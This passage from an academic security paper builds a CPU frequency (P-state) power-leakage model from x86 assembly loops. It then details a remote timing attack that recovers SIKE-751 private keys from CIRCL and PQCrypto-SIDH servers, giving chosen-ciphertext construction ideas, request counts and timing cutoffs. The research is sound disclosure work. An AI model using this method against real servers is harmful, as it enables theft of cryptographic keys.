available P-state for longer, but it can also use higher P-states
in steady state without exceeding the TDP.

The key takeaway from the above results is that both (i)
the time that a processor can spend at the maximum available
P-state and (ii) the distribution of P-states at steady state de-
pend on the CPU power consumption. Since the CPU power
consumption depends on the workload, by the transitive prop-
erty it follows that P-states depend on the workload too. This
implies that dynamic scaling of P-states leaks information
about the current workload running on the processor.
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Figure 2: Distinguishing data (in the source register to a shlx
instruction) using frequency traces on our i7-9700 CPU. Fig-
ure 2a is over 30,000 samples. Figure 2b is over 100 traces.

3.2 Distinguishing Data

We saw that P-state information leaks information about the
instructions being executed (i.e., the workload). We now ex-
plore if the frequency leakage channel can leak information
about the data being processed by instructions. Our question
is motivated by the fact that power consumption on x86 pro-
cessors is known to be data dependent [64]. It is thus natural
to ask: do data-dependent differences in power consumption
show in the distribution of P-states?

To answer this question, we monitor the CPU frequency
while executing the same instructions and only changing the
content of the input registers. For example, we use the shlx
instruction to continuously shift left the bits of a source regis-
ter and write the result into different destination registers in a
loop, while only varying the content of the source register. We
run this experiment on all cores and compare the distribution
of the P-states in steady state. Figure 2a shows the results
when we set the content of the source register to have 16, 32
or 48 ones. In all cases the P-state oscillated between 4.3 GHz
and 4.4 GHz. However, the larger the Hamming weight, the
more the frequency stayed at the lower P-state. We also saw
a data-dependent difference in terms of when the frequency
drops to steady state if we start from idle (cf. Figure 2b). The
larger the Hamming weight, the quicker the frequency drops
to steady state. This is because, as we show in Section 4, pro-
cessing data with larger Hamming weights consumes more
power than processing data with lower Hamming weights.

We get similar results with other instructions too. For ex-
ample, we observed data-dependent effects when running or,
xor, and, imul, add, sub, as well as when computing on data
loaded from memory. The only caveat is that, for some in-
structions, the power consumption of just running the target
instruction in a loop on all cores was not large enough to
cause the P-state to ever drop to steady state. In these cases,
we ran an additional, fixed workload in the background to
push the total power consumption up.

The key takeaway of the above results is that dynamic
scaling of P-states leaks information about the data being
processed. In the following sections, we use the distribution
of P-states at steady state as our leakage channel.

4 CPU Frequency Leakage Model

We saw that the power consumption and the distribution of
P-states in Intel CPUs depend on the data being processed.
The goal of this section is to construct a leakage model of this
behavior. To this end, we reverse engineer the dependency be-
tween power consumption/frequency and data on the ALU of
modern Intel CPUs. As we show in Section 5, this information
can help an attacker construct side-channel attacks.

Scope Precisely understanding where power is dissipated
as a function of data on general-purpose x86 processors is a
challenging task. The reason is that the microarchitecture of
modern x86 processors is (i) highly complex and (ii) largely
undocumented. Fortunately, studying the power consumption
across all microarchitectural units is not necessary to build
attacks. This is because the vast majority of computations
performed by modern, constant-time cryptographic software
occurs in the arithmetic logic unit (ALU). Since our primary
goal is to build a model that is useful to leak secrets from
constant-time cryptographic code, the analysis in this section
focuses specifically on the ALU component.

Methodology We use the experimental setup of Section 3.
In each experiment, we run a fixed set of ALU instructions
(the sender) in a loop on all cores, while varying the input
contents. We carefully design our senders to target specific
behaviors and minimize side effects. First, to reduce power
consumption from other core units such as the cache, we
always use register to register instructions without any mem-
ory access. Second, to avoid any datapath contamination ef-
fects caused by incrementing the loop counter variable and
evaluating loop conditions, we run our sender in an infinite
loop that we manually terminate at the end of the experiment.
Third, to avoid introducing unintended HD effects, we inter-
leave different instructions in such a way that encourages full
throughput on all available ports [1, 2]. Finally, we run each
sender in two setups. In the first setup, we use the default
system configuration, warm up the machine until it enters
steady state, and monitor the frequency. In the second setup,
we disable SpeedStep / HWP (this way, our processor stays
at the base frequency for the duration of the workload) and
monitor the (core domain) power consumption. We sample
power/frequency every 1 ms, collect 30,000 data points for
each experiment and use their mean for our analyses.

4.1 Hamming Distance (HD) Effect

To start, we set out to understand if the number of 1→ 0
and 0→ 1 transitions affects power consumption / frequency.
Recall that these transitions depend on the number of bits
that differ (also known as the HD) between consecutive data
values being processed. To study the dependency between HD
and power consumption / frequency, we then need a sender
that offers fine-grained control over the number of transitions,
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rax = COUNT

rbx = 0x0000FFFFFFFF0000

loop:

  shlx %rax,%rbx,%rcx    // rcx = rbx << rax

  shlx %rax,%rbx,%rdx    // rdx = rbx << rax

  shrx %rax,%rbx,%rsi    // rsi = rbx >> rax

  shrx %rax,%rbx,%rdi    // rdi = rbx >> rax

  shlx %rax,%rbx,%r8     // r8  = rbx << rax

  shlx %rax,%rbx,%r9     // r9  = rbx << rax

  shrx %rax,%rbx,%r10    // r10 = rbx >> rax

  shrx %rax,%rbx,%r11    // r11 = rbx >> rax

jmp loop

(a) Sender for our HD experiments.

rax = LEFT

rcx = … = r11 = RIGHT

loop:

  or %rax,%rcx    // rcx = rax | rcx

  or %rax,%rdx    // rdx = rax | rdx

  or %rax,%rsi    // rsi = rax | rsi

  or %rax,%rdi    // rdi = rax | rdi

  or %rax,%r8     // r8  = rax | r8

  or %rax,%r9     // r9  = rax | r9

  or %rax,%r10    // r10 = rax | r10

  or %rax,%r11    // r11 = rax | r11

jmp loop

(b) Sender for our HW experiments.

rax = rcx = rdx = rsi = rdi = FIRST

rbx = r8 = r9 = r10 = r11 = SECOND

loop:

  or %rax,%rcx    // rcx = rax | rcx

  or %rax,%rdx    // rdx = rax | rdx

  or %rax,%rsi    // rsi = rax | rsi

  or %rax,%rdi    // rdi = rax | rdi

  or %rbx,%r8     // r8  = rbx | r8

  or %rbx,%r9     // r9  = rbx | r9

  or %rbx,%r10    // r10 = rbx | r10

  or %rbx,%r11    // r11 = rbx | r11

jmp loop

(c) Sender for our HW+HD experiments.

Figure 3: Different sets of instructions (senders) used to reverse engineer the dependency between data and power consumption /
frequency on our CPUs. Different senders are designed to target different effects. Each sender can be run with variable inputs.
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Figure 4: Effect of increasing COUNT in Figure 3a’s sender
on our i7-9700 CPU. Higher COUNT values cause higher HDs
in the ALU output. As the HD increases, the mean power con-
sumption grows and the mean steady-state frequency drops.

while avoiding other potential side effects. For example, test-
ing different HDs should not require changing the number of
1s in the input (which, as we show below, is a separate effect).3

We design our sender to use interleaved shlx and shrx
instructions, as shown in Figure 3a. These instructions shift
the bits of the second source register to the left or right by a
COUNT value stored in the first source register. The result is
written to a separate destination register. Since on our CPUs
shlx and shrx execute on port 0 and port 6 [1], we interleave
them in groups of two. We fix the content of the second source
register to 0x0000ffffffff0000, corresponding to 16 zeros,
followed by 32 ones, followed by 16 zeros. We then shift this
register left and right by COUNT (with 0≤ COUNT≤ 16).

By construction, the HD in the ALU output between a shlx
and a shrx is 4×COUNT. For example, when COUNT = 8,
the output of each shlx is 0x00ffffffff000000, and the
output of each shrx is 0x000000ffffffff00, translating to
4×8 bit transitions in the ALU output. Yet, the ALU input
remains unchanged and the number of 1s in the source and
the destination registers is fixed.4

3This requirement implies that approaches such as using a xor instruction
to cause bit transitions are not suitable, because triggering different numbers
of transitions would also require using different numbers of 1s in the input.

4The only other variable is the number of 1s in the COUNT register itself,

Figure 4 shows the results when we vary the COUNT value.
We see that the power consumption grows and the frequency
drops when COUNT grows, confirming that the number of bit
transitions directly affects power consumption and frequency.
In Appendix A.1, we corroborate this observation with an ad-
ditional experiment where transitions occur in the ALU input.
These results are consistent on all the CPUs of Table 1.

1. Larger Hamming distances between data values being
processed contribute to larger power consumptions and
lower steady-state frequencies.

4.2 Hamming Weight (HW) Effect

We now set out to understand if the HW of the data values be-
ing processed affects power consumption / frequency. Recall
that the idea behind the HW model is that power consumption
depends on the number of 1s in the data being processed. To
study the dependency between HW and power consumption /
frequency, we need a sender that offers fine-grained control
over the number of 1s, while avoiding other potential side
effects. For example, testing different HWs should not require
bit transitions in the data (i.e., the HD effect).

To satisfy the above requirements, we design a sender that
uses or logic instructions, as shown in Figure 3b. These in-
structions perform a bitwise inclusive or operation between
the source register and the destination register, and store the
result in the destination register. We always use the same
input and output registers for all the or instructions in the
loop. We fix the content of the source register to LEFT, and
set the initial content of the output register to RIGHT.

By construction, the number of bit transitions occurring on
the ALU input and output during the execution of the above
sender is zero. The reason is that all or instructions take the
same inputs and produce the same output during an experi-
ment. Hence, we can test different HW in the source registers
without introducing any HD effects. An added benefit of us-
ing or instructions is that they allow us to study the effects

which varies between 1 and 4. However, this effect is negligible.
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Figure 5: Effect of varying the number of consecutive 1s in
the LEFT =RIGHT input to Figure 3b’s sender on our i7-9700
CPU. As we increase the number of 1s, the mean power con-
sumption grows and the mean steady-state frequency drops.

of changing some bits of the input register (LEFT) without
affecting the contents of the output register (RIGHT). We use
this sender to perform multiple experiments.

Consecutive 1s We start our analysis of the HW effect by
checking if the number of leading or trailing 1s in the data af-
fects power consumption / frequency. We set LEFT = RIGHT
such that the inputs and outputs of all or instructions are al-
ways the same. We then run the sender with a varying HW in
the LEFT = RIGHT values. Figure 5 shows the results when
the HW grows from 0 to 64, both when the 1s start from the
least significant bit (LSB) and when they start from the most
significant bit (MSB). In both cases, the power consumption
grows and the frequency drops when the HW grows.

2. A larger number of leading or trailing 1s in the data
values being processed contributes to larger power con-
sumptions and lower steady-state frequencies.

We also see that the changes in power consumption and
frequency appear to be nonlinear. That is, the plots of Figure 5
have a “bow” shape, suggesting that the HW effect is stronger
for the most significant 32 bits than for the least significant 32
bits. For example, when the input is 0xffffffff00000000
(HW=32, orange line), the HW effect is larger than when it
is 0x00000000ffffffff (HW=32, blue line). This suggests
that given data values with the same HW, their contribution
power / frequency may also depend on the position of 1s. We
thoroughly examine this observation later in this subsection.

Non-consecutive 1s The above experiment shows that
power consumption and frequency can depend on the HW of
the data being processed. However, it only focuses on a bit
pattern of consecutive 1s and 0s. In reality, 1s and 0s might
occur in anywhere in the data. For our model to be useful, we
need to test if the HW effect applies to arbitrary bit patterns.

To analyze the HW effect in the presence of non-
consecutive 1s, we run a variant of our previous experiment,
where we increase the HW at byte granularity. That is, we
break the 64-bit registers LEFT = RIGHT into 8 bytes and
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Figure 6: Effect of varying the number of non-consecutive 1s
in the LEFT = RIGHT input to Figure 3b’s sender on our i7-
9700 CPU. The results confirm that larger HWs cause higher
power consumptions and lower steady-state frequencies.
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Figure 7: Effect of setting single bytes to 0xff in the LEFT =
RIGHT input to Figure 3b’s sender on our i7-9700 CPU. The
effect varies depending on the position of 1s within the inputs.
HW differences in the MSBs have the strongest effect; HW
differences in the bits right below 32 have the weakest effect.

vary the HW within each byte. Increasing the HW within
each byte allows us to measure the impact of different num-
bers of non-consecutive 1s. For example, when the HW for
each byte is 2, we set 2 bits of each byte to 1, for a total HW
of 2×8 = 16. Figure 6 shows the results, clearly indicating
that a larger number of non-consecutive 1s contributes to a
larger power consumption and lower CPU frequency.

3. A larger Hamming weight (number of 1s) in the data
values being processed contributes to larger power con-
sumptions and lower steady-state frequencies regardless
of whether the 1s are consecutive or not.

Non-uniformity of the HW Effect To analyze the impact
of the position of 1s within the data, we run another variant
of our previous experiment. We break the 64-bit registers
LEFT = RIGHT into 8 bytes. Each byte can be set to 0x00 (all
0s) or 0xff (all 1s). When we target byte i, we fix the value of
the other 7 bytes and compute the delta of power consumption
/ frequency between setting byte i to 0xff and 0x00. For each
byte, we repeat this test with all the 27 combinations of the
other 7 bytes. We compute the average and standard deviation
of the deltas for each byte and show the result in Figure 7.

We immediately see that the HW effect is non-uniform
across different bytes. At a high level, the 4 most significant
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bytes have a stronger HW effect than the 4 least significant
bytes, and bytes closer to the 32nd bit have a weaker HW
effect than bytes farther from the 32nd bit. This is consis-
tent with our previous observation that an input where the
most significant 32 bits are 1 consumes more power than an
input where the least significant 32 bits are 1, even if their
HWs are the same. Further, the standard deviations are rel-
atively small, suggesting that the HW effect of each byte
is independent of the values of other bytes. For example,
the power/frequency deltas between 0x0000ff0000000000
and 0x000000000000000 are the same as the ones between
0xff00ffff00ffffff and 0xff0000ff00ffffff. We sus-
pect that these properties also hold a bit granularity, but are
unable to confirm because it would require collecting data for
264 bit combinations for a runtime of more than 1013 years.
Note that the difference in the HW effect due to the position
of 1s is relatively small (e.g., ≤ 0.12 W in Figure 7b) com-
pared to the difference in the HW effect due to the number of
1s (e.g., ≤ 1.11 W in Figures 5b and 6b) and the HD effect
due to bit transitions (e.g., ≤ 0.75 W in Figure 4b).

4. The HW effect is non-uniform. 1s in the most signifi-
cant bytes affect power and frequency more than 1s in
the least significant bytes. Additionally, the HW effect
at each byte is independent of the values of other bytes.

The above experiments show that power consumption and
frequency depend both on the number and the positions of
1s in the data being processed. However, both experiments
were designed using LEFT = RIGHT, meaning that all the
source and destination registers used by the sender during
an experiment were the same. It is then natural to ask: does
the HW effect occur even when LEFT 6= RIGHT? To answer
this question, we repeated the above two experiments, but
this time set LEFT = 0 and only varied the HW of RIGHT.5

Both experiments yielded results similar to the ones where
LEFT = RIGHT, albeit with smaller increments/decrements in
power/frequency. This result shows that the HW effect on an
operand is independent of the contents of other operands.

5. The HW effect occurs on each operand independently.

To sum up, the HW effect may be approximated as a linear
combination of two vectors. The first vector is the number of
1s per byte, and the second vector is the non-uniform power
consumption / frequency “cost” of 1s in that byte (based on
the deltas of Figure 7). In Appendix A.1 we discuss additional
experiments in support of this model. We verified that this
model applies to all the CPUs of Table 1. However, the non-
uniform “costs” per byte of the HW effect can be different
across CPU models. For example, in the 11th gen CPUs, the
HW effect is more uniform compared to Figure 7.

5Whether LEFT = 0 or LEFT = RIGHT, the result of the or is still RIGHT.
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Figure 8: Effect of increasing the HW of SECOND in Fig-
ure 3c’s sender, while fixing FIRST to different values on our
i7-9700 CPU. Power consumption grows and steady-state
frequency drops when both HW and HD increase at the same
time (net effect of HW+HD). However, power consumption
drops and steady-state frequency grows when HW increments
correspond to HD decrements (net effect of HW−HD).

4.3 Additivity of the HW and HD Effects

Finally, we set out to understand if the HD and HW effects are
additive. To this end, we design our sender to use or instruc-
tions with interleaved operand contents, as shown in Figure 3c.
In this sender, half of the instructions computes FIRST|FIRST
and the other half computes SECOND|SECOND. We in-
terleave these instructions in groups of four, since on
our CPUs or instructions use four ports [1]. We then
test setting FIRST to be A = 0x000000000000ffff, B =
0xffff000000000000, C = 0x00000000ffffffff, or D =
0xffffffff00000000, and increase the HW of SECOND
from 0 to 64, starting from the least significant bit.

Figure 8 shows the results. Consider the case when FIRST
= C. As the HW of SECOND increases from 0 to 32, the HD
between FIRST and SECOND decreases, causing the power
consumption to drop and the frequency to grow. However, as
HW of SECOND increases from 32 to 64, the HD between
FIRST and SECOND increases, causing the opposite effect.
The slope between 0 and 32 is smaller than the one between
32 and 64. This is because the former is a net effect of HW
minus HD whereas the latter is a net effect of HD plus HW.
For the other values of FIRST, we see analogous effects but
with different constant offsets. This result (consistent across
the CPUs of Table 1) shows that the HW and the HD effects
can simultaneously contribute to power and frequency.

6. The HD and HW effects are additive and can simulta-
neously contribute to differences in power consumption
and steady-state frequency.

5 Remote Timing Attack on SIKE

The previous sections have shown that carefully crafted in-
struction sequences can trigger data-dependent power con-
sumption and frequency differences. In this section, we show
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that the frequency side channel threat extends to in-the-wild
software. Specifically, we show how to use the frequency side
channel, combined with novel cryptanalysis, for a full key
recovery attack through remote timing on two production-
ready, side-channel hardened implementations of Supersingu-
lar Isogeny Key Encapsulation (SIKE) [52], a post-quantum
key encapsulation mechanism based on the Supersingular
Isogeny Diffie-Hellman (SIDH) [53] key exchange protocol.

Attack Model We assume a chosen-ciphertext attack model
(CCA). The goal of the attacker (client) is to recover the
static secret key used by the victim (server) to decapsulate
ciphertexts. The attacker can send many ciphertexts to the
victim, which always tries to compute the shared secret with
the decapsulation procedure using its static secret key.

Attack Idea The server’s static secret key is an integer m
with bit expansion m = (m`−1, . . . ,m0)2, where `= 378 (for
SIKE-751, the parameter selection we target in our experi-
ments). During decapsulation, the server computes P+[m]Q
for elliptic curve points P and Q included in the ciphertext;
the SIKE standard prescribes a particularly efficient algorithm
for evaluating this expression, the Montgomery three-point
ladder [29]. We show that an attacker who knows the i least
significant bits of m can construct points P and Q such that:

• If mi 6= mi−1, then the (i+1)st round of the Montgomery
three-point ladder produces an anomalous 0 value. Once
that anomalous 0 value appears, the decapsulation algo-
rithm gets stuck: every intermediate value produced for the
remainder of the ladder is 0. Additionally, every intermedi-
ate value produced for the function (isogeny computation)
following the ladder is also 0.

• If, however, mi = mi−1, or if the attacker was wrong about
the i least significant bits of m when constructing the chal-
lenge ciphertext, then the (i+1)st round generates a non-0
value. Heuristically, the remainder of the computation pro-
ceeds without producing an anomalous 0 value except with
negligible probability.

This observation is new, and it represents a core contribution
of our work. Because SIKE is built on somewhat abstruse
math, we defer the details of how to construct points P and Q
that trigger an anomalous 0 value, and why a 0 value causes
the decapsulation algorithm to get stuck, to Section 5.3.

The values operated on by SIKE decapsulation are large
(a single element of the field underlying SIKE-751 takes
188 bytes to express) and the operations themselves are com-
plex: the inner loop of the Montgomery ladder comprises
thousands of lines of hand-optimized assembly. Nevertheless,
in Section 5.1, we show that SIKE decapsulation behaves
like the much simpler, synthetic senders of Section 4. When
mi 6= mi−1 and the decapsulation algorithm gets stuck, repeat-
edly producing and operating on 0 values, the processor con-
sumes less power and runs at a higher steady-state frequency
(and therefore decapsulation takes a shorter wall time).

Taken together, our findings mean that the server’s secret
key can be recovered by an adaptive chosen-ciphertext attack,
using execution time as a side channel. Having extracted the
first i bits of m, the adversary repeatedly queries the server
with ciphertexts that should cause decapsulation to get stuck
in the (i+ 1)st round. If the server responds faster than a
baseline (established through profiling), the adversary con-
cludes that bit mi is the opposite of bit mi−1; otherwise bit
mi is the same. The attacker then proceeds to the next bit. In
Section 5.2, we show that the timing signal is so robust that
key extraction is possible across a network. We demonstrate
full recovery of the (378-bit) private key from the SIKE-751
implementations in two popular, production-ready crypto-
graphic libraries: Cloudflare’s Interoperable Reusable Crypto-
graphic Library (CIRCL) [28], written in Go, and Microsoft’s
PQCrypto-SIDH [66], written in C. Both of libraries are hard-
ened against previously known software side channels and
meant to run in constant time. Our attack is practical; an un-
optimized version recovers the full key from a CIRCL server
in 36 hours and from a PQCrypto-SIDH server in 89 hours.

5.1 P-State and SIKE implementation

We start by verifying that a correct key-bit guess in our chosen-
ciphertext attack—one that causes the Montgomery ladder
and the remainder of SIKE decapsulation to repeatedly pro-
duce 0 values—causes the processor to execute at a higher
frequency than an incorrect key-bit guess does. Our local ex-
periment uses 10 randomly generated SIKE-751 server keys.
For each key m = (m`−1, . . . ,m0)2, we target 4 out of the 378
bit positions. We choose the target bit positions uniformly at
random, to validate that the frequency difference is observable
even for bits accessed late in the Montgomery ladder loop.

Suppose we target bit i in a secret key m. Provided that
mi 6=mi−1, we can craft a challenge ciphertext that will trigger
an anomalous 0 value in the Montgomery ladder iteration that
accesses bit i. However, if mi = mi−1, then there is no chal-
lenge ciphertext that can trigger the anomalous 0 value. To
make sure we are measuring the effect of anomalous 0 values,
and not some other unknown effect, we set up our experiment
as follows. For each key m and each target bit index i, we
create a variant key m′ that agrees with m at every bit posi-
tion except index i, where it has the opposite bit value.6 In
other words, m′ =

(
m`−1, . . . ,mi+1,(1−mi),mi−1, . . . ,m0

)
2.

A challenge ciphertext crafted as described in Section 5.3.2
will induce an anomalous 0 against exactly one of m and m′.

For each key, m or m′, and for each target bit position i,
we launch a multithreaded SIKE decapsulation server. The
server spawns 300 concurrent goroutines (CIRCL) or pthreads
(PQCrypto-SIDH). Each thread handles a single decapsula-
tion and then exits; when all threads have joined, we relaunch
the server. We allow execution to continue until 800 seconds

6Every integer between 0 and 2378−1 is a valid SIKE-751 server private
key. Given a private key we can compute the corresponding public key.
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Figure 9: Distribution of the power consumption and the fre-
quency when the challenge ciphertext introduces an anoma-
lous 0 (mi 6= mi−1) or not (mi = mi−1), using the setups from
Section 4 on our i7-9700 CPU. The results are over 10 ran-
domly generated keys, where, for each key, we target 4 out of
the 378 bit positions. For each key and each bit, we launch the
server with 300 goroutines (CIRCL) or pthreads (PQCrypto-
SIDH), each of which handles a single decapsulation request.

have elapsed. As in Section 4, we run each experiment in
two setups. In the first setup, we use the default system con-
figuration, and monitor the steady-state CPU frequency. In
the second setup, we disable SpeedStep/HWP (this way, our
CPU stays at the base frequency during the experiment) and
monitor (core domain) power consumption. We sample both
the CPU frequency and the power consumption every 1 ms.

We group the measured data points according to whether
we expect the challenge ciphertext to induce an anomalous 0
or not. For each key m and target bit position i, exactly one of
m and m′ contributes to the anomalous-0 grouping.

The results, shown in Figures 9a and 9b, confirm that
the steady-state frequency is higher and the power consump-
tion is lower when an anomalous 0 is triggered (mi 6= mi−1)
than when it is not (mi = mi−1), for both the CIRCL and
the PQCrypto-SIDH decapsulation servers. As noted above,
both these libraries are hardened against previously known
software side channels and meant to run in constant time.

The signal we obtain from PQCrypto-SIDH is fainter than
the one we obtain from CIRCL, because PQCrypto-SIDH
uses a different strategy for Montgomery reduction that causes
the value 0 to be represented in memory sometimes as 0 and
sometimes as a prime number of size 751 bits.

5.2 SIKE Key Remote Recovery

We now show that the secret-dependent power consumption
and frequency differences observed in Section 5.1 translate to
a remotely observable secret-dependent timing difference.

We configure a SIKE target server with a randomly gen-
erated static 378-bit key for SIKE-7517, revealed for com-
parison only after the attack completes. Our server accepts a
client decapsulation request over HTTP (Go) or TCP (C) and
spawns a goroutine (Go) or pthread (C) to handle the request.
The thread reads in the ciphertext and performs the decapsula-
tion computation, after which it sends a message back to the
client indicating the establishment of a shared secret but no
other information. The target server and the attacker are both
connected to the same network, and we measure an average
round-trip time of 688 µs between the two machines.

The attacker simultaneously sends n requests with a chal-
lenge ciphertext meant to trigger an anomalous 0 and mea-
sures the time t it takes to receive responses for all n re-
quests. When an anomalous 0 is triggered, power decreases,
frequency increases, SIKE decapsulation executes faster, and t
should be smaller. Based on the observed t and the previously
recovered secret key bits, the attacker can infer the value of
the target bit, then repeat the attack for the next bit.

For the attack to be successful, we must overcome a number
of practical difficulties. First, we must set a value for n, the
number of requests, that allows us to observe a clear timing
signal when we trigger the anomalous 0s. We experimentally
find an n big enough that the frequency increase is remotely
observable, but not so big that we induce thrashing.

Second, we must set a time cutoff to distinguish when
anomalous 0s are triggered and when they are not. To this
end, we collect the decapsulation times when querying the
server with a random ciphertext, and use these times to set
a cutoff for queries not triggering anomalous 0s. We then
query the server with the challenge ciphertexts for the first
few bits of the key until we see a speedup compared to the
random ciphertext, and use these times to set a cutoff for
queries triggering anomalous 0s.

Third, we must detect and recover from mistakes caused
by random variations in the server’s decapsulation time. Re-
call that a challenge ciphertext constructed using a wrong
value for the i least significant bits of m will never trigger
anomalous 0s regardless of the relationship of mi and mi−1.
Measuring no timing reduction in many consecutive rounds
is evidence either that many consecutive key bits all have
the same value (unlikely since key bits are independent and
uniformly distributed), or that the value we are using for the
least significant bits of the key is wrong (cf. Appendix A.4).
In our experiments, we backtrack when experiments for 40
consecutive bit positions show no timing reduction.

Finally, there is a chance that a challenge ciphertext con-
structed as in Section 5.3.2 will accidentally trigger an anoma-
lous 0 later in the decapsulation process even if it does not at
the target bit index i of the Montgomery ladder. This will hap-

7The SIKE standard and the implementations we examined place the
long-term keypair in the 3-torsion and the ephemeral key used for forming
a ciphertext in the 2-torsion, so this is the case we studied. A variant of our
attack applies also if the roles are swapped.
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Figure 10: Distribution of the timings measured by the at-
tacker during the remote key extraction attack, with the server
running on an i7-9700 CPU. The attacker makes 300 (CIRCL)
and 1000 (PQCrypto-SIDH) connections (all with the same
challenge ciphertext, constructed as per Section 5.3.2) and
measures the time until the last connection completes. We
group the execution time (filtered) of each key bit extraction
based on whether it should have triggered an anomalous 0 in
the Montgomery ladder (i.e., whether mi = 1−mi−1 or not).

pen with exponentially small probability for most bit indices,
but larger probability for the last few bit indices. We defer
a detailed explanation to Appendix A.3. It may be possible
to avoid triggering this misbehavior with a different way of
constructing the challenge key. We instead sidestep it by stop-
ping our interaction with the server after extracting all but the
last 14 bits; we recover these last bits by brute-force search.

Attack Setup We run the SIKE target server on our i7-9700
CPU using the default system configuration. In the attack
on CIRCL, the server is an HTTP server written using Go’s
net.http library, which handles each request in a goroutine.
In the attack on PQCrypto-SIDH, the server is a TCP server
written in C, which handles each request in a pthread.

We configure the attacker to send n = 300 concurrent re-
quests in the CIRCL case, and n = 1000 requests in the
PQCrypto-SIDH case. In both cases, concurrent requests are
sent all with the same challenge ciphertext (constructed as
described in Section 5.3.2), and the attacker measures the
time until the last connection completes. We experimentally
determine the expected timings when the CPU frequency in-
creases because of anomalous 0s and when it does not: for
CIRCL, at most 660.2 ms and at least 662.5 ms, respectively;
for PQCrypto-SIDH at most 1556 ms and at least 1558 ms,
respectively. We repeat the measurement 400 times, exclude
outliers (CIRCL: below 650 ms or above 675 ms; PQCrypto-
SIDH: below 1500 ms or above 1580 ms), compute the me-
dian of the remaining values, and compare to the cutoffs. If
the result is inconclusive for a bit, we repeat the attack on that
bit. We use our side channel to extract the key up to bit 364
and recover the last 14 bits by brute force search.

Results In Figure 10a and Figure 10b, we show the timing
distribution of the 300-connection runs (CIRCL) and 1000-
connection runs (PQCrypto-SIDH) respectively, grouped ac-
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Figure 11: Median times used to extract the first 20 bits (0
to 19) and the last 20 bits (345 to 364) of the key for the
same attack against CIRCL SIKE-751 as in Figure 10a. The
timings depend on whether the challenge ciphertext triggered
an anomalous 0 (mi 6= mi−1) or not (mi = mi−1).
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Figure 12: Median times used to extract the first 20 bits (0 to
19) and the last 20 bits (345 to 364) of the key for the same
attack against PQCrypto-SIDH SIKE-751 as in Figure 10b.
The timings depend on whether the challenge ciphertext trig-
gered an anomalous 0 (mi 6= mi−1) or not (mi = mi−1).

cording to whether the challenge ciphertext of that run trig-
gered an anomalous 0 (mi 6= mi−1) or not (mi = mi−1).

For the first and the last 20 bit positions of the key that we
extract by interacting with the server (bits 0–19 and 345–364,
respectively), we plot, in Figure 11 (CIRCL) and Figure 12
(PQCrypto-SIDH), the median time among the 400 measure-
ments for that bit and whether the run triggered an anoma-
lous 0 (mi 6= mi−1) or not (mi = mi−1) at that bit position. The
signal is strong for both the top bits and the bottom bits.

Both attacks successfully recovered the full secret key. The
attack on CIRCL completed in 36 hours, while the attack on
PQCrypto-SIDH completed in 89 hours. We expect that the at-
tack running time could be reduced with careful optimization.
Unlike our attack on CIRCL, our attack on PQCrypto-SIDH
made 1 mistake and needed to backtrack; see Appendix A.4
for our error correction strategy.

5.3 Anomalous 0s in SIKE Decapsulation

We now explain how an attacker can construct SIKE cipher-
texts that trigger an anomalous 0 in the (i+ 1)st iteration
of the Montgomery ladder when mi 6= mi−1, and why that
anomalous 0, once generated, causes the remainder of the
decapsulation algorithm to also produce 0s repeatedly.
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We briefly recall some relevant mathematical background
in Appendix A.2. We recommend that readers review a longer
introduction to the math behind elliptic curves, isogenies, and
SIKE; Costello’s tutorial expositions of elliptic curves [18]
and isogenies [19] are especially good choices.

The first subroutine in the SIKE decapsulation algorithm
recovers (the Montgomery coefficient A of) the curve E ′0 on
which the points P, Q, and Q−P, included in the ciphertext
provided by the attacker, lie. This subroutine is fast and inde-
pendent of the secret key; we do not consider it further.

The second subroutine uses the Montgomery three-point
ladder to compute P+ [m]Q on the curve E ′0 recovered by
the first subroutine. This is the subroutine in which a correct
key-bit guess (mi 6= mi−1) can trigger the generation of an
anomalous 0 value. We explain how in Section 5.3.2.

The third subroutine evaluates the isogeny corresponding
to the point P+ [m]Q, computing (the Montgomery coeffi-
cient of) the curve E ′e3

that is the image of E ′0 under that
isogeny. The fourth subroutine computes the j-invariant of the
curve E ′e3

; this j-invariant is the shared SIDH secret. In Sec-
tion 5.3.3 and Appendix A.3, we explain how an anomalous 0
value output by the Montgomery ladder causes the isogeny
evaluation (third subroutine) and the j-invariant computation
(fourth subroutine) to produce additional anomalous 0s.

The final step in SIKE decapsulation is a Fujisaki–Okamoto
consistency check [31, 44] that checks that the ciphertext was
properly generated. If the check fails, the recipient generates
a random session key instead of the one prescribed by the
(invalid) ciphertext. The Fujisaki–Okamoto check immunizes
SIKE against attacks, such as that due to Galbraith et al. [32],
that require partial information about the j-invariant computed
when decapsulating (invalid) ciphertexts.

We do not claim to invalidate SIKE’s proof of security.
None of the ciphertexts we construct in our attack passes the
Fujisaki–Okamoto check. Nevertheless, our attack recovers
the server’s secret key, because we obtain the information
we need from the running time of the subroutines performed
before the Fujisaki–Okamoto check.

While our paper was under embargo (cf. Section 1), our
chosen-ciphertext attack triggering anomalous 0s in SIKE
decapsulation, described in this subsection, was independently
rediscovered by De Feo et al. [25].

5.3.1 Affine and Projective X-Coordinate Point Repre-
sentations on Montgomery Curves

A Montgomery curve is defined by the equation EA,B : By2 =
x3 +Ax2 + x, with parameters A,B ∈ Fp2 such that B(A2−
4) 6= 0. Montgomery curves have properties that make them
suitable for efficient, side-channel resistant implementations.
In particular, many operations needed in cryptography can
be computed using just the x-coordinate of a point (ignoring
the y-coordinate) and just the curve parameter A (ignoring
the curve parameter B). The point with x- and y-coordinate

Algorithm 1: Three point ladder ( [52], Appendix A)

1 function Ladder3pt
Input: m = (m`−1, . . . ,m0)2 ∈ Z, (xP,xQ,xQ−P),

and (A : 1)
Output:

(
XP+[m]Q : ZP+[m]Q

)
1
(
(X0 : Z0),(X1 : Z1),(X2 : Z2)

)
←

(
(xQ : 1),(xP :

1),(xQ−P : 1)
)

2 a+24← (A+2)/4
3 for i = 0 to `−1 do
4 if mi = 1 then
5

(
(X0 : Z0),(X1 : Z1)

)
← xDBLADD

(
(X0 :

Z0),(X1 : Z1),(X2 : Z2),(a+24 : 1)
)

6 else
7

(
(X0 : Z0),(X2 : Z2)

)
← xDBLADD

(
(X0 :

Z0),(X2 : Z2),(X1 : Z1),(a+24 : 1)
)

8 return (X1 : Z1)

both equal to 0 is a point of order 2 with special significance
to arithmetic on a Montgomery curve; it is denoted by T .

To minimize the need for (expensive) modular inversions,
implementations typically work using projective rather than
affine x-coordinate representation. For a point P, we write
xP for its affine x-coordinate and (XP : ZP) for its projective
x-coordinate representation, where xP = XP ·Z−1

P . As usual,
there are many equivalent (X : Z) pairs that represent the same
affine point. We write (X : Z)∼ (X ′ : Z′) to mean that there
